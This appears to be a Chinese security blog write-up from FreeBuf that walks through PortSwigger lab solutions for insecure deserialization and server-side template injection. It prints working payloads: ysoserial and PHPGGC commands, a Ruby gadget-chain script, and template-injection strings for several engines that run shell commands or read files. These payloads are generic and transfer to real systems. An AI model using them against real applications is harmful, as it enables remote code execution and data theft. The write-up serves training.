freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PortSwigger之不安全的反序列化+服务器端模板注入漏洞笔记
2021-10-04 23:53:06

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。

一、Insecure deserialization

01 Modifying serialized objects

描述

本实验使用基于序列化的会话机制,因此容易受到权限提升的影响。为解决实验室,编辑会话cookie中的序列化对象以利用此漏洞并获得管理权限。然后,删除 Carlos 的帐户。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

此实验与权限提升有关,我们使用bp抓包,重点关注cookie

1.登录,查看我的账户页面,bp发现cookie内容是序列化的

image-20211003145316498

2.根据前面漏洞介绍,猜测布尔值的0是对admin权限的一个否定,那我们将布尔值修改为1,重新进行base64编码+url编码替换到cookie,查看效果(=要换成%3d)

image-20211003145535971

在Repeater中替换cookie,已经有了admin权限

image-20211003145652100

3.删除carlos用户以解决实验

利用浏览器插件修改cookie可进行admin权限持久化操作

image-20211003145824438

02 Modifying serialized data types

描述

本实验使用基于序列化的会话机制,因此容易绕过身份验证。解决实验室,编辑会话cookie中的序列化对象以访问该administrator帐户。然后,删除卡洛斯。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

此实验利用了php对字符比较时的逻辑缺陷,0 == "Example string"结果是true

1.跟上题一样,只是token我们不可读,token使用整型0代替(i:0),用户名伪造为administrator,用户名.长度需要修改为13(administrator的长度)

image-20211003150923805

结果

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjEzOiJhZG1pbmlzdHJhdG9yIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO2k6MDt9

2.使用浏览器插件修改token,刷新页面,删除carlos以解决实验

image-20211003151317889

03 Using application functionality to exploit insecure deserialization

描述

本实验使用基于序列化的会话机制。某个功能对序列化对象中提供的数据调用危险的方法。要解决实验室问题,请编辑会话 cookie 中的序列化对象,并使用它morale.txt从 Carlos 的主目录中删除文件。

您可以使用以下凭据登录自己的帐户:wiener:peter

您还可以访问备份帐户:gregg:rosebud

解决方案

删除用户时会连带删除用户头像,删除头像路径在序列化数据中,将路径修改为morale.txt就可以删除

1.先获取数据包,查看cookie内容

image-20211003151857715

2.删除帐户的选项/my-account/delete。

image-202110031523021653.在 Burp Repeater 中,使用 Inspector 面板研究会话 cookie。请注意,序列化对象有一个avatar_link属性,其中包含您的头像的文件路径。 编辑序列化数据,使avatar_link指向/home/carlos/morale.txt. 请记住更新长度指示器。修改后的属性应如下所示:

s:11:"avatar_link";s:23:"/home/carlos/morale.txt"

单击“Apply change”。修改后的对象将在请求中自动重新编码和更新。

image-20211003152515161

4.发送请求。您的帐户将与carlos的morale.txt文件一起被删除。

04 Arbitrary object injection in PHP

描述

本实验使用基于序列化的会话机制,因此容易受到任意对象注入的影响。为了解决实验室问题,创建并注入恶意序列化对象以morale.txt从 Carlos 的主目录中删除文件。您需要获得源代码访问权限才能解决此实验。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

1.登录到您自己的帐户并注意会话 cookie 包含一个序列化的 PHP 对象。

2.从site map中,请注意该网站引用了文件/libs/CustomTemplate.php. 右键单击该文件并选择“Send to repeater”。

image-20211003154606260

3.在 Burp Repeater 中,请注意您可以通过在请求行中的文件名后附加波浪号~来阅读源代码。

image-20211003154731046

4.在源代码中,请注意CustomTemplate该类包含destruct()魔法方法。这将调用属性unlink()上的方法lock_file_path,这将删除此路径上的文件。

5.在 Burp Decoder 中,使用序列化 PHP 数据的正确语法来创建属性设置为的CustomTemplate对象。确保使用正确的数据类型标签和长度指示符。

最终对象应如下所示:

lock_file_path/home/carlos/morale.txt
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MTQ6ImxvY2tfZmlsZV9wYXRoIjtzOjIzOiIvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dCI7fQ%3d%3d

Base64 和 URL 编码此对象并将其保存到剪贴板。

6.向 Burp Repeater 发送一个包含会话 cookie 的请求。

7.在 Burp Repeater 中,将会话 cookie 替换为剪贴板中修改后的 cookie。

8.发送请求。该__destruct()魔术方法自动调用并会删除carlos的文件。

image-20211003155240629

05 Exploiting Java deserialization with Apache Commons

描述

本实验使用基于序列化的会话机制并加载 Apache Commons Collections 库。尽管您没有源代码访问权限,但您仍然可以使用预先构建的小工具链来利用此实验室。

为了解决实验室问题,请使用第三方工具生成包含远程代码执行负载的恶意序列化对象。然后,将此对象传递到网站以morale.txt从 Carlos 的主目录中删除该文件。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

1.下载ysoserial

https://github.com/frohoff/ysoserial
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

2.登录到您自己的帐户并观察会话 cookie 包含一个序列化的 Java 对象。向 Burp Repeater 发送一个包含会话 cookie 的请求。

image-20211003161254516

3.执行以下命令:

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

image-20211003161044830

这将生成一个 Base64 编码的序列化对象,其中包含您的有效负载。 4.选择整个 cookie,然后对其进行 URL 编码。

http://www.jsons.cn/urlencode/

使用浏览器插件替换恶意 cookie 到您的会话 cookie。发送解决实验室的请求。

06 Exploiting PHP deserialization with a pre-built gadget chain

描述

该实验室具有使用签名 cookie 的基于序列化的会话机制。它还使用通用的 PHP 框架。尽管您没有源代码访问权限,但您仍然可以使用预构建的小工具链来利用此实验室的不安全反序列化

为了解决实验室问题,识别目标框架,然后使用第三方工具生成包含远程代码执行有效负载的恶意序列化对象。然后,研究如何生成包含恶意对象的有效签名 cookie。最后,将此传递到网站以morale.txt从 Carlos 的主目录中删除该文件。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

1.下载工具

https://github.com/ambionics/phpggc

1.登录并向Burp Repeater发送包含会话cookie的请求。突出显示cookie并将其发送到Burp解码器。

2.在burp解码器中,选择“decode”>“URL”。请注意,cookie包含一个Base64编码的令牌,用SHA-1 HMAC哈希签名。

image-20211003162331300

3.突出显示令牌并选择“decode”>“Base64”。请注意,令牌实际上是一个序列化的PHP对象。

image-20211003162420123

4.在Burp Repeater中,请注意,如果尝试使用修改过的cookie发送请求,则会引发异常,因为数字签名不再匹配。但是,您应该注意到:

开发人员注释在/cgi-bin/phpinfo.php中公开了调试文件的位置。

错误消息显示该网站正在使用Symfony 4.3.6框架。

在Burp Repeater中请求/cgi-bin/phpinfo.php文件,并观察它是否泄漏了有关网站的一些关键信息,包括SECRET_key环境变量。保存此密钥;您需要它在以后对您的漏洞进行签名。

image-20211003162636491

5.下载“PHPGGC”工具并执行以下命令:

./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64

这将生成一个Base64编码的序列化对象,该对象利用Symfony中的RCE小工具链删除Carlos的morale.txt文件。

6.您现在需要构造一个包含此恶意对象的有效cookie,并使用先前获得的密钥对其进行正确签名。您可以使用以下PHP脚本来执行此操作。在运行脚本之前,只需进行以下更改:

将在PHPGGC中生成的对象分配给$object变量。

将从phpinfo.php文件复制的密钥分配给$secretKey变量。

<?php
$object = "PHPGGC中生成的base64字符串";
$secretKey = "yprtgexgp1wu7vwejr6s1khql8g9wv7r";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

请注意,pgpggc生成的object是一行,没有换行的,别复制错了

7.替换cookie,刷新页面可解决实验。

07 Exploiting Ruby deserialization using a documented gadget chain

描述

本实验使用基于序列化的会话机制和 Ruby on Rails 框架。有一个记录的漏洞利用可以通过此框架中的小工具链实现远程代码执行。

要解决实验室问题,请查找记录的漏洞利用并对其进行调整以创建包含远程代码执行有效负载的恶意序列化对象。然后,将此对象传递到网站以morale.txt从 Carlos 的主目录中删除该文件。

解决方案

RUBY 2.X 通用 RCE 反序列化小工具链

https://www.elttam.com/blog/ruby-deserialization/#content

生成和验证反序列化的脚本

#!/usr/bin/env ruby

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

1.登录到您自己的帐户,注意会话cookie包含一个序列化Ruby对象。将包含此会话cookie的请求发送到Burp Repeater。

2.浏览网页找到Luke Jahnke的“Ruby 2.x Universal RCE Gadget Chain”。

image-20211003164520960

3.复制用于生成有效负载的脚本,并将第九行应执行的命令从id更改为rm /home/carlos/morale.txt,然后运行该脚本。这将生成一个包含有效负载的序列化对象。输出包含对象的十六进制和Base64编码版本。

image-20211003170526916

4.复制Base64编码的对象。

image-20211003170604428

5.对对象进行url编码,并在Burp Repeater中用您刚刚创建的恶意会话cookie替换您的会话cookie。

6.发送请求以解决实验室问题。

08 Developing a custom gadget chain for Java deserialization

描述

本实验使用基于序列化的会话机制。如果你能构建一个合适的gadget链,你就可以利用这个实验室不安全的反序列化来获取管理员密码。

为了解决实验室,获得源代码的访问权并使用它构建一个小工具链来获取管理员的密码。然后,以 的身份登录administrator并删除 Carlos 的帐户。

您可以使用以下凭据登录自己的帐户:wiener:peter

请注意,解决此实验需要基本熟悉我们在Web 安全学院 中介绍的另一个主题。

提示:

为了节省您的工作量,我们提供了一个用于序列化对象通用 Java 程序。您可以调整它以生成适合您的漏洞利用的对象。如果您尚未设置 Java 环境,则可以使用基于浏览器的 IDE(例如repl.it.

解决方案

识别漏洞

1.登录到您自己的帐户并注意会话 cookie 包含一个序列化的 Java 对象。

2.从site map中,请注意该网站引用了文件/backup/AccessTokenUser.java. 你可以在 Burp Repeater 中成功请求这个文件。

image-20211003172236922

image-20211003172335934

3.扫描得到一个ProductTemplate.java文件。

image-20211003172642064

image-20211003172740562

4.请注意,该ProductTemplate.readObject()方法将模板的id属性传递到 SQL 语句中。

image-20211003172846972

5.根据泄露的源代码,使用burp给出的 Java 小程序serialization-examples-master\java\solution\Main.java,ProductTemplate用任意 ID实例化 a ,将其序列化,然后对其进行 Base64 编码。需要更改的只是文件中的"your-payload-here"字符串

6使用您的 Java 程序创建一个ProductTemplate带有id单撇号的集合。复制 Base64 字符串并将其作为会话 cookie 在请求中提交。该错误消息确认该网站容易受到通过此反序列化对象进行的基于 Postgres 的SQL 注入的攻击。

image-20211003173821393

编译运行

image-20211003174209018

url编码放到burp替换cookie验证,pgsql语法错误

image-20211003174403612

构造sql语句以读取密码

' UNION SELECT NULL, NULL, NULL, cast(password as numeric), NULL, NULL, NULL, NULL FROM users--
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAXycgVU5JT04gU0VMRUNUIE5VTEwsIE5VTEwsIE5VTEwsIGNhc3QocGFzc3dvcmQgYXMgbnVtZXJpYyksIE5VTEwsIE5VTEwsIE5VTEwsIE5VTEwgRlJPTSB1c2Vycy0t

image-20211003175229187

登录删除carlos

administrator/lqod6l8wdbuma6o9n3qd

09 Developing a custom gadget chain for PHP deserialization

描述

本实验使用基于序列化的会话机制。通过部署自定义小工具链,您可以利用其不安全的反序列化来实现远程代码执行。要解决实验室问题,请morale.txt从 Carlos 的主目录中删除该文件。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

1.登录到您自己的帐户并注意会话 cookie 包含一个序列化的 PHP 对象。请注意,该网站引用了该文件/cgi-bin/libs/CustomTemplate.php。通过使用.php~备份文件扩展名提交请求来获取源代码。

image-20211003175953118

image-20211003180024976

2.在源代码中,请注意__wakeup()a的魔术方法CustomTemplate将Product通过引用default_desc_type和desc来创建一个新的CustomTemplate。

3.另请注意,DefaultMap该类具有get()魔术方法,如果您尝试读取该对象不存在的属性,则会调用该方法。这个魔术方法调用call_user_func(),它将执行通过DefaultMap->callback属性传递给它的任何函数。该函数将在 上执行$name,这是请求的不存在的属性。

4.您可以exec(rm /home/carlos/morale.txt)通过传入一个CustomTemplate对象来利用此小工具链进行调用,其中: 如果您遵循源代码中的数据流,您会注意到这会导致构造函数尝试从对象中获取。由于它没有此属性,该方法将调用 上的回调方法,该方法设置为我们的 shell 命令。 CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt"; CustomTemplate->desc = DefaultMap; DefaultMap->callback = "exec" Productdefault_desc_typeDefaultMap__get()exec()default_desc_type

5.为了解决实验室问题,对以下序列化对象进行 Base64 和 URL 编码,并通过会话 cookie 将其传递到网站:

O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}

10 Using PHAR deserialization to deploy a custom gadget chain

描述

本实验未明确使用反序列化。但是,如果将PHAR反序列化与其他高级黑客技术相结合,您仍然可以通过自定义小工具链实现远程代码执行。

要解决实验室问题,请morale.txt从 Carlos 的主目录中删除该文件。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

1.注意网站有上传自己头像的功能,只接受JPG图片。上传一个有效JPG的头像。请注意,它是使用GET /cgi-bin/avatar.php?avatar=wiener.

image-20211003192757003

image-20211003192923665

2.在 Burp Repeater 中,请求GET /cgi-bin查找显示一个Blog.php和CustomTemplate.php文件的索引。通过使用.php~备份扩展请求文件来获取源代码。

image-20211003194142778

image-20211003194224218

image-20211003194253675

3.研究源代码并确定涉及Blog->desc和CustomTemplate->lockFilePath属性的小工具链。

4.请注意,file_exists()文件系统方法是在lockFilePath属性上调用的。

5.请注意,该网站使用 Twig 模板引擎。您可以使用反序列化来传入服务器端模板注入(SSTI) 负载。在 Twig 上查找用于远程代码执行的记录 SSTI 有效负载,并对其进行调整以删除 Carlos 的文件:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}

6.编写一些 PHP 来创建CustomTemplate并Blog包含您的 SSTI 负载:

class CustomTemplate {}
class Blog {}
$object = new CustomTemplate;
$blog = new Blog;
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$blog->user = 'user';
$object->template_file_path = $blog;

7.创建一个PHAR-JPG包含 PHP 脚本的多语言。您可以在网上找到几个执行此操作的脚本(搜索“ phar jpg polyglot”)。或者,您可以下载我们现成的.

现成的链接

https://raw.githubusercontent.com/PortSwigger/serialization-examples/master/php/phar-jpg-polyglot.jpg

下载上传

image-20211003201656615

8.将此文件上传为您的头像。 9.在 Burp Repeater 中,修改请求行以使用phar://流反序列化您的恶意头像,如下所示:

GET /cgi-bin/avatar.php?avatar=phar://wiener

10.发送请求解决实验室的请求。

二、Server-side template injection

01 Basic server-side template injection

描述

由于 ERB 模板的不安全构造, 该实验室容易受到服务器端模板注入的影响

要解决实验室问题,请查看 ERB 文档以了解如何执行任意代码,然后morale.txt从 Carlos 的主目录中删除该文件。

解决方案

1.请注意,当您尝试查看有关第一个产品的更多详细信息时,GET请求会使用该message参数"Unfortunately this product is out of stock"在主页上呈现。

image-202110032151371422.在 ERB 文档中,发现语法<%= someExpression %>用于评估表达式并将结果呈现在页面上。

3.使用 ERB 模板语法创建包含数学运算的测试负载,例如:

<%=7*7%>

image-202110032153006454.从 Ruby 文档中,发现system()可用于执行任意操作系统命令的方法。 5.构造一个payload来删除Carlos的文件,如下所示:一定套url编码一下

<%=system("rm /home/carlos/morale.txt")%>

image-20211003215500598

02 Basic server-side template injection (code context)

描述

由于它不安全地使用 Tornado 模板的方式, 该实验室容易受到服务器端模板注入的影响。要解决实验室问题,请查看 Tornado 文档以了解如何执行任意代码,然后morale.txt从 Carlos 的主目录中删除该文件。

您可以使用以下凭据登录自己的帐户:wiener:peter

暗示:仔细看看“Preferred name”功能。

解决方案

1.在通过 Burp 代理流量时,登录并在其中一篇博文上发表评论。

2.请注意,在“my account”页面上,您可以选择是否希望站点使用您的全名、名字或昵称。当您提交您的选择,一个POST请求设置参数的值blog-post-author-display要么user.name,user.first_name或user.nickname。当您加载包含评论的页面时,评论上方的名称将根据此参数的当前值进行更新。

3.在 Burp 中,进入“proxy”>“HTTP History”,找到设置该参数的请求,即POST /my-account/change-blog-post-author-display,发送给 Burp Repeater。

4.研究 Tornado 文档以发现模板表达式被双花括号包围,例如{{someExpression}}. 在 Burp Repeater 中,请注意您可以退出表达式并注入任意模板语法,如下所示: blog-post-author-display=user.name}}{{7*7}}

image-20211003220812462

5.重新加载包含刚才发表评论的页面。请注意,用户名现在显示为Wiener49}},表明代码上下文中可能存在服务器端模板注入漏洞。

image-20211003220755348

6.在 Tornado 文档中,确定执行任意 Python 的语法:

{% somePython %}

研究 Python 文档,发现通过导入os模块,您可以使用该system()方法执行任意系统命令。 结合这些知识构建一个删除卡洛斯文件的有效载荷:

{% import os %}
{{os.system('rm /home/carlos/morale.txt')

7.在 Burp Repeater 中,回到POST /my-account/change-blog-post-author-display. 跳出表达式,将您的有效负载注入参数,记住按如下方式对其进行 URL 编码:

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')

8.重新加载包含您的评论的页面以执行模板并解决实验室问题。

03 Server-side template injection using documentation

描述

该实验室容易受到服务器端模板注入的攻击。要解决实验室问题,请识别模板引擎并使用文档找出如何执行任意代码,然后morale.txt从 Carlos 的主目录中删除该文件。

您可以使用以下凭据登录自己的帐户:content-manager:C0nt3ntM4n4g3r

解决方案

1.通过错误信息来获取模板类型,登录并编辑其中一个产品描述模板。请注意,此模板引擎使用语法${someExpression}在页面上呈现表达式的结果。输入您自己的表达式或更改现有表达式之一以引用不存在的对象,在编辑模板的${}模板表达式中随便输入些什么,然后保存模板。输出中的错误消息显示正在使用 Freemarker 模板引擎。

image-20211004223837140

image-20211004223851118

2.搜索freemarker ssti,得到利用内置函数执行系统命令

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("[payload]")}

于是我们在编辑模板的地方将payload写入模板表达式

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("ls")}

image-20211004224903450

删除文件以解决实验

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("rm morale.txt")}

image-20211004225015943

04 Server-side template injection in an unknown language with a documented exploit

描述

该实验室容易受到服务器端模板注入的攻击。要解决实验室问题,请识别模板引擎并在线查找可用于执行任意代码的已记录漏洞,然后morale.txt从 Carlos 的主目录中删除该文件。

解决方案

1.通过注入含有来自各种不同的模板语言,如模板语法一个绒毛试验串${{<%[%'"}}%\,进message参数。请注意,当您提交无效语法时,输出中会显示一条错误消息。这表明该网站正在使用 Handlebars。

image-20211004225417184

2.搜索Handlebars ssti,得到利用内置函数执行系统命令

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
http://www.jsons.cn/urlencode/

因为是GET方式传递参数,payload需要进行URLencode

image-20211004230108506

image-20211004230051238

05 Server-side template injection with information disclosure via user-supplied objects

描述

由于对象传递到模板的方式, 该实验室容易受到服务器端模板注入的影响。可利用此漏洞访问敏感数据。

为了解决实验室,窃取并提交框架的密钥。

您可以使用以下凭据登录自己的帐户:content-manager:C0nt3ntM4n4g3r

解决方案

1.登录并编辑其中一个产品描述模板。

2.将模板表达式之一更改为无效的内容,例如模糊字符串${{<%[%'"}}%\,然后保存模板。输出中的错误消息提示正在使用 Django 框架。

image-20211004230342918

image-20211004230412004

3.搜索Django ssti,得到利用内置函数执行系统命令

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

{{settings.SECRET_KEY}}表达式可以查看指定的环境变量

image-20211004230621069

image-20211004230602680

得到key,提交以解决实验。

06 Server-side template injection in a sandboxed environment

描述

本实验使用 Freemarker 模板引擎。由于沙箱实现不佳,它容易受到服务器端模板注入的影响。要解决实验室问题,请跳出沙箱以my_password.txt从 Carlos 的主目录中读取文件。然后提交文件内容。

您可以使用以下凭据登录自己的帐户:content-manager:C0nt3ntM4n4g3r

解决方案

1.登录并编辑其中一个产品描述模板。请注意,您有权访问该product对象。

2.加载Object该类的 JavaDoc以查找所有对象都应该可用的方法。确认您可以${object.getClass()}使用该product对象执行。

3.浏览文档以查找一系列方法调用,这些方法调用授予对具有静态方法的类的访问权限,让您可以读取文件,例如:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

4.在其中一个模板中输入此有效负载并保存。输出将包含作为十进制 ASCII 代码点的文件内容。

image-20211004231100920

5.将返回的字节转换为 ASCII。

# python3
print("10进制 :",end="")
b10 = input().split()
bascii = ''
for i in range(len(b10)):
bascii += chr(int(b10[i]))
print("ascii :",bascii)

#输入格式:104 101 108 108 111 119 111 114 108 100

6.提交此字符串以解决实验室问题。

07 Server-side template injection with a custom exploit

描述

该实验室容易受到服务器端模板注入的攻击。为了解决这个实验,创建一个自定义漏洞利用来/.ssh/id_rsa从 Carlos 的主目录中删除文件。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

1.在通过 Burp 代理流量时,登录并在其中一个博客上发表评论。

上传头像位置,上传无效图片(1.txt)触发报错。错误消息会公开一个名为 的方法user.setAvatar()。还要注意文件路径/home/carlos/User.php。稍后您将需要它

image-20211004231812296

2.上传有效图片作为您的头像并加载包含您的测试评论的页面。

image-20211004233110739

3.在 Burp Repeater 中,打开POST更改您的首选名称的请求,并使用该blog-post-author-display参数将任意文件设置为您的头像:

user.setAvatar('/etc/passwd')

image-20211004233932874

image-20211004233944018

4.加载包含测试评论的页面以呈现模板。请注意,错误消息表明您需要提供图像 MIME 类型作为第二个参数。提供此参数并再次查看注释以刷新模板:

user.setAvatar('/etc/passwd','image/jpg')

image-20211004232703193

5.要读取文件,请使用GET /avatar?avatar=wiener. 这将返回/etc/passwd文件的内容,确认您可以访问任意文件。

image-20211004234045770

6.重复此过程以读取您之前记下的 PHP 文件:

user.setAvatar('/home/carlos/User.php','image/jpg')

image-20211004234429477

7.在 PHP 文件中,请注意您有权访问gdprDelete()删除用户头像的函数。你可以结合这些知识来删除卡洛斯的文件。 先将目标文件设置为你的头像,然后查看注释执行模板:

user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')

调用该user.gdprDelete()方法并再次查看您的评论以解决实验室问题。

image-20211004235028587

image-20211004235100292

1633362757_615b23454cdc4822e2356.png!small?1633362758192

# 反序列化漏洞 # 实验记录 # 服务器端模板注入 # PortSwigger
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录